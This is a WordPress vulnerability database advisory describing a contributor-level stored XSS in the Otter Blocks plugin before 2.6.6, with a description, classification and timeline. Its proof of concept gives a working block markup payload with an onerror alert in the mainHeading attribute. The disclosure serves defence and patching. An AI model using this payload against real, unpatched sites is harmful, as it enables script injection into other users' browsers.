WordPress Plugin Vulnerabilities
Otter Blocks < 2.6.6 - Contributor+ Stored XSS
Description
The plugin does not properly escape its mainHeadings blocks' attribute before appending it to the final rendered block, allowing contributors to conduct Stored XSS attacks.
Proof of Concept
As a contributor, put the following payload in a post while in Code Editor mode <!-- wp:themeisle-blocks/review {"id":"wp-block-themeisle-blocks-review-b973b49a","title":"123","mainHeading":"img src=x onerror=alert(1) style=width:150px;","className":""} /--> The XSS will be triggered when viewing/prevewing the post
Affects Plugins
References
Classification
Type
XSS
OWASP top 10
CWE
Miscellaneous
Original Researcher
Dmitrii Ignatyev
Submitter
Dmitrii Ignatyev
Submitter website
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2024-03-28 (about 1 months ago)
Added
2024-03-28 (about 1 months ago)
Last Updated
2024-04-01 (about 1 months ago)